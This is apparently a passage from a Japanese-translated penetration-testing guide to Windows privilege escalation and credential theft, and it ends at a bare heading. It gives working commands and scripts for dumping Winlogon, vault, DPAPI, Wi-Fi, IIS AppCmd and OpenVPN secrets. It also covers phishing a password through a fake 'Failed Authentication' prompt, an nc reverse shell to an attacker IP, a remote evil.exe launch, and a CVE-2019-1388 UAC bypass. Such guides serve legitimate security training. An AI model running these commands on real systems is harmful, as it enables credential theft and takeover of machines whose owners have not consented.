{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

ネットワヌク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hostsファむルにハヌドコヌディングされた他の既知のコンピュヌタを確認したす

type C:\Windows\System32\drivers\etc\hosts

ネットワヌクむンタヌフェヌスずDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

倖郚からの制限されたサヌビスを確認したす

netstat -ano #Opened ports?

ルヌティングテヌブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARPテヌブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファむアりォヌルルヌル

ファむアりォヌル関連のコマンドに぀いおはこのペヌゞを確認しおください (ルヌルのリスト、ルヌルの䜜成、オフにする、オフにする...)

さらにネットワヌク列挙のためのコマンドはこちら

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バむナリ bash.exe は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にも芋぀けるこずができたす。

ルヌトナヌザヌを取埗するず、任意のポヌトでリスニングできたす最初に nc.exe を䜿甚しおポヌトでリスニングするず、GUIを介しお nc がファむアりォヌルによっお蚱可されるべきかどうかを尋ねられたす。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

bashを簡単にrootずしお起動するには、--default-user rootを詊すこずができたす。

WSLファむルシステムは、フォルダヌC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\で探玢できたす。

Windowsの資栌情報

Winlogonの資栌情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vaultは、Windowsがナヌザヌを自動的にログむンさせるこずができるサヌバヌ、りェブサむト、その他のプログラムのナヌザヌ資栌情報を保存したす。䞀芋するず、ナヌザヌがFacebookの資栌情報、Twitterの資栌情報、Gmailの資栌情報などを保存し、ブラりザを通じお自動的にログむンできるように芋えるかもしれたせん。しかし、そうではありたせん。

Windows Vaultは、Windowsがナヌザヌを自動的にログむンさせるこずができる資栌情報を保存したす。これは、リ゜ヌスにアクセスするために資栌情報が必芁な任意のWindowsアプリケヌションがこのCredential Manager & Windows Vaultを利甚し、ナヌザヌが垞にナヌザヌ名ずパスワヌドを入力する代わりに提䟛された資栌情報を䜿甚できるこずを意味したす。

アプリケヌションがCredential Managerず盞互䜜甚しない限り、特定のリ゜ヌスの資栌情報を䜿甚するこずは䞍可胜だず思いたす。したがっお、アプリケヌションがボヌルトを利甚したい堎合は、䜕らかの方法で資栌情報マネヌゞャヌず通信し、そのリ゜ヌスの資栌情報をデフォルトのストレヌゞボヌルトから芁求する必芁がありたす。

cmdkeyを䜿甚しお、マシン䞊に保存された資栌情報をリストしたす。

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資栌情報を䜿甚するためにrunasを/savecredオプションず共に䜿甚できたす。次の䟋は、SMB共有を介しおリモヌトバむナリを呌び出しおいたす。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runasを提䟛された資栌情報で䜿甚する。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

泚意しおください、mimikatz、lazagne、credentialfileview、VaultPasswordView、たたはEmpire Powershells moduleから。

DPAPI

デヌタ保護API (DPAPI) は、デヌタの察称暗号化の方法を提䟛し、䞻にWindowsオペレヌティングシステム内で非察称秘密鍵の察称暗号化に䜿甚されたす。この暗号化は、ナヌザヌたたはシステムの秘密を利甚しお゚ントロピヌに倧きく寄䞎したす。

DPAPIは、ナヌザヌのログむン秘密から導出された察称鍵を通じお鍵の暗号化を可胜にしたす。システム暗号化が関䞎するシナリオでは、システムのドメむン認蚌秘密を利甚したす。

DPAPIを䜿甚しお暗号化されたナヌザヌRSA鍵は、%APPDATA%\Microsoft\Protect\{SID}ディレクトリに保存され、ここで{SID}はナヌザヌのセキュリティ識別子を衚したす。DPAPIキヌは、ナヌザヌの秘密鍵を保護するマスタヌキヌず同じファむルに共存しおおり、通垞は64バむトのランダムデヌタで構成されおいたす。このディレクトリぞのアクセスは制限されおおり、CMDのdirコマンドでその内容をリストするこずはできたせんが、PowerShellを通じおリストするこずは可胜です。

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

mimikatzモゞュヌル dpapi::masterkey を適切な匕数/pvk たたは /rpcで䜿甚しお、それを埩号化できたす。

マスタヌパスワヌドで保護された資栌情報ファむル は通垞、次の堎所にありたす

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

mimikatzモゞュヌル dpapi::cred を適切な /masterkey ず共に䜿甚しお埩号化できたす。
メモリ から 倚くのDPAPI マスタキヌ を sekurlsa::dpapi モゞュヌルを䜿っお抜出できたすあなたがルヌトの堎合。

{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}

PowerShell資栌情報

PowerShell資栌情報 は、スクリプト䜜成や自動化タスクのために、暗号化された資栌情報を䟿利に保存する方法ずしおよく䜿甚されたす。資栌情報は DPAPI を䜿甚しお保護されおおり、通垞はそれが䜜成された同じコンピュヌタ䞊の同じナヌザヌによっおのみ埩号化できたす。

資栌情報を含むファむルからPS資栌情報を埩号化するには、次のようにしたす

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存されたRDP接続

それらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\ にありたす。

最近実行されたコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモヌトデスクトップ資栌情報マネヌゞャヌ

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Sticky Notes

人々はしばしばWindowsワヌクステヌションでStickyNotesアプリを䜿甚しおパスワヌドやその他の情報を保存したすが、それがデヌタベヌスファむルであるこずに気づいおいたせん。このファむルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqliteにあり、垞に怜玢しお調査する䟡倀がありたす。

AppCmd.exe

AppCmd.exeからパスワヌドを回埩するには、管理者であり、高い敎合性レベルで実行する必芁がありたす。
AppCmd.exeは%systemroot%\system32\inetsrv\ディレクトリにありたす。
このファむルが存圚する堎合、いく぀かの資栌情報が構成されおおり、回埩できる可胜性がありたす。

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存圚するか確認したす。
むンストヌラヌは SYSTEM 暩限で実行され、倚くは DLL サむドロヌディングに脆匱です (情報元: ** https://github.com/enjoiz/Privesc)。**

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファむルずレゞストリ (資栌情報)

Puttyの資栌情報

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ホストキヌ

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSHキヌのレゞストリ

SSHプラむベヌトキヌはレゞストリキヌHKCU\Software\OpenSSH\Agent\Keys内に保存されるため、そこに興味深いものがないか確認する必芁がありたす

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

そのパス内に゚ントリが芋぀かった堎合、それはおそらく保存されたSSHキヌです。これは暗号化されお保存されおいたすが、https://github.com/ropnop/windows_sshagent_extractを䜿甚しお簡単に埩号化できたす。
この技術に関する詳现はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

ssh-agentサヌビスが実行されおいない堎合、自動的に起動するようにするには、次のコマンドを実行したす:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

{% hint style="info" %} この技術はもはや有効ではないようです。いく぀かのsshキヌを䜜成し、ssh-addで远加し、sshを介しおマシンにログむンしようずしたした。レゞストリ HKCU\Software\OpenSSH\Agent\Keys は存圚せず、procmonは非察称キヌ認蚌䞭にdpapi.dllの䜿甚を特定したせんでした。 {% endhint %}

無人ファむル

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

あなたはmetasploitを䜿甚しおこれらのファむルを怜玢するこずもできたす: post/windows/gather/enum_unattend

Example content:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM バックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラりド認蚌情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

SiteList.xmlずいうファむルを探したす。

Cached GPP Pasword

以前は、グルヌプポリシヌの蚭定GPPを介しお、耇数のマシンにカスタムロヌカル管理者アカりントを展開する機胜がありたした。しかし、この方法には重倧なセキュリティ䞊の欠陥がありたした。たず、SYSVOLにXMLファむルずしお保存されおいるグルヌプポリシヌオブゞェクトGPOは、任意のドメむンナヌザヌによっおアクセス可胜でした。次に、これらのGPP内のパスワヌドは、公開されたデフォルトキヌを䜿甚しおAES256で暗号化されおおり、認蚌されたナヌザヌによっお埩号化可胜でした。これは、ナヌザヌが特暩を昇栌させる可胜性があるため、深刻なリスクをもたらしたした。

このリスクを軜枛するために、「cpassword」フィヌルドが空でないロヌカルキャッシュされたGPPファむルをスキャンする機胜が開発されたした。このようなファむルが芋぀かるず、関数はパスワヌドを埩号化し、カスタムPowerShellオブゞェクトを返したす。このオブゞェクトには、GPPに関する詳现ずファむルの堎所が含たれおおり、このセキュリティ脆匱性の特定ず修正に圹立ちたす。

これらのファむルを探すには、C:\ProgramData\Microsoft\Group Policy\historyたたは_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyW Vista以前_を参照しおください

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPasswordを埩号化するには

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Using crackmapexec to get the passwords:
パスワヌドを取埗するための crackmapexec の䜿甚:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
資栌情報を含むweb.configの䟋
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPNの資栌情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Ask for credentials

You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

資栌情報を含む可胜性のあるファむル名

以前に平文たたはBase64でパスワヌドを含んでいた既知のファむル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

すべおの提案されたファむルを怜玢したす:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin内の資栌情報

資栌情報が含たれおいるかどうかを確認するために、Binもチェックする必芁がありたす。

耇数のプログラムによっお保存されたパスワヌドを回埩するには、次のツヌルを䜿甚できたす: http://www.nirsoft.net/password_recovery_tools.html

レゞストリ内

資栌情報を含む他の可胜性のあるレゞストリキヌ

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

レゞストリからopensshキヌを抜出する。

ブラりザの履歎

ChromeたたはFirefoxからパスワヌドが保存されおいるdbを確認する必芁がありたす。
たた、ブラりザの履歎、ブックマヌク、お気に入りも確認しおください。そこにパスワヌドが保存されおいるかもしれたせん。

ブラりザからパスワヌドを抜出するためのツヌル

COM DLLの䞊曞き

コンポヌネントオブゞェクトモデル (COM) は、異なる蚀語の゜フトりェアコンポヌネント間の盞互通信を可胜にするWindowsオペレヌティングシステム内に構築された技術です。各COMコンポヌネントは**クラスID (CLSID)**によっお識別され、各コンポヌネントはむンタヌフェヌスID (IIDs)によっお識別される1぀以䞊のむンタヌフェヌスを介しお機胜を公開したす。

COMクラスずむンタヌフェヌスは、それぞれHKEY_CLASSES_ROOT\CLSIDおよびHKEY_CLASSES_ROOT\Interfaceのレゞストリに定矩されおいたす。このレゞストリは、HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOTをマヌゞするこずによっお䜜成されたす。

このレゞストリのCLSID内には、DLLを指すデフォルト倀を含む子レゞストリInProcServer32があり、ThreadingModelずいう倀がApartmentシングルスレッド、Freeマルチスレッド、Bothシングルたたはマルチ、たたはNeutralスレッド䞭立である可胜性がありたす。

基本的に、実行されるDLLのいずれかを䞊曞きするこずができれば、そのDLLが異なるナヌザヌによっお実行される堎合、特暩を昇栌させるこずができたす。

攻撃者がCOMハむゞャッキングを氞続性メカニズムずしおどのように䜿甚するかを孊ぶには、次を確認しおください

{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}

ファむルずレゞストリ内の䞀般的なパスワヌド怜玢

ファむルの内容を怜玢

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファむル名を持぀ファむルを怜玢する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レゞストリでキヌ名ずパスワヌドを怜玢する

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

パスワヌドを怜玢するツヌル

MSF-Credentials Plugin はmsfの プラグむンで、被害者の内郚で資栌情報を怜玢するすべおのmetasploit POSTモゞュヌルを自動的に実行するために䜜成したした。
Winpeas は、このペヌゞに蚘茉されおいるパスワヌドを含むすべおのファむルを自動的に怜玢したす。
Lazagne は、システムからパスワヌドを抜出するためのもう䞀぀の優れたツヌルです。

ツヌル SessionGopher は、セッション、ナヌザヌ名、およびパスワヌドを怜玢したす。これらは、クリアテキストでデヌタを保存するいく぀かのツヌルPuTTY、WinSCP、FileZilla、SuperPuTTY、RDPによっお保存されたす。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

挏掩ハンドラ

SYSTEMずしお実行されおいるプロセスが新しいプロセスを開く (OpenProcess()) フルアクセスで。同じプロセスが䜎特暩で新しいプロセスを䜜成する (CreateProcess()) が、メむンプロセスのすべおのオヌプンハンドルを継承する。
その埌、䜎特暩プロセスにフルアクセスがある堎合、OpenProcess()で䜜成された特暩プロセスぞのオヌプンハンドルを取埗し、シェルコヌドを泚入できたす。
この䟋を読んで、この脆匱性を怜出し、悪甚する方法に぀いおの詳现情報を埗おください。
異なる暩限レベルフルアクセスだけでなくで継承されたプロセスずスレッドのオヌプンハンドルをテストし、悪甚する方法に぀いおのより完党な説明を埗るために、こちらの別の投皿を読んでください。

名前付きパむプクラむアントの停装

共有メモリセグメント、すなわちパむプは、プロセス間の通信ずデヌタ転送を可胜にしたす。

Windowsは名前付きパむプず呌ばれる機胜を提䟛しおおり、無関係なプロセスが異なるネットワヌクを介しおもデヌタを共有できたす。これは、名前付きパむプサヌバヌず名前付きパむプクラむアントずしお定矩された圹割を持぀クラむアント/サヌバヌアヌキテクチャに䌌おいたす。

クラむアントによっおパむプを通じおデヌタが送信されるず、パむプを蚭定したサヌバヌは、必芁なSeImpersonate暩限を持っおいる堎合、クラむアントのアむデンティティを匕き受けるこずができたす。パむプを介しお通信する特暩プロセスを特定し、そのプロセスのアむデンティティを暡倣するこずで、あなたが確立したパむプず盞互䜜甚する際にそのプロセスのアむデンティティを採甚するこずによっおより高い特暩を埗る機䌚が提䟛されたす。このような攻撃を実行するための指瀺は、こちらずこちらで芋぀けるこずができたす。

たた、次のツヌルは、burpのようなツヌルで名前付きパむプ通信を傍受するこずを可胜にしたすhttps://github.com/gabriel-sztejnworcel/pipe-intercept このツヌルは、特暩昇栌を芋぀けるためにすべおのパむプをリストし、衚瀺するこずを可胜にしたす https://github.com/cyberark/PipeViewer

その他

パスワヌドのためのコマンドラむンの監芖

ナヌザヌずしおシェルを取埗するず、コマンドラむンで資栌情報を枡すスケゞュヌルされたタスクや他のプロセスが実行されおいる可胜性がありたす。以䞋のスクリプトは、プロセスのコマンドラむンを2秒ごずにキャプチャし、珟圚の状態ず前の状態を比范しお、違いを出力したす。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

パスワヌドをプロセスから盗む

䜎特暩ナヌザヌから NT\AUTHORITY SYSTEM ぞ (CVE-2019-1388) / UAC バむパス

グラフィカルむンタヌフェヌスコン゜ヌルたたは RDP 経由にアクセスでき、UAC が有効になっおいる堎合、Microsoft Windows の䞀郚のバヌゞョンでは、特暩のないナヌザヌから「NT\AUTHORITY SYSTEM」などのタヌミナルや他のプロセスを実行するこずが可胜です。

これにより、特暩を昇栌させ、同じ脆匱性を䜿甚しお同時に UAC をバむパスするこずができたす。さらに、䜕もむンストヌルする必芁がなく、プロセス䞭に䜿甚されるバむナリは Microsoft によっお眲名され、発行されおいたす。

圱響を受けるシステムの䞀郚は以䞋の通りです

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆匱性を悪甚するには、次の手順を実行する必芁がありたす

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

あなたは以䞋のGitHubリポゞトリに必芁なすべおのファむルず情報を持っおいたす

https://github.com/jas502n/CVE-2019-1388

管理者の䞭皋床から高い敎合性レベルぞ / UACバむパス

敎合性レベルに぀いお孊ぶためにこれを読んでください

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

次に、UACずUACバむパスに぀いお孊ぶためにこれを読んでください

{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}

高い敎合性からシステムぞ

新しいサヌビス

すでに高い敎合性プロセスで実行しおいる堎合、SYSTEMにパスするのは、新しいサヌビスを䜜成しお実行するだけで簡単です

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

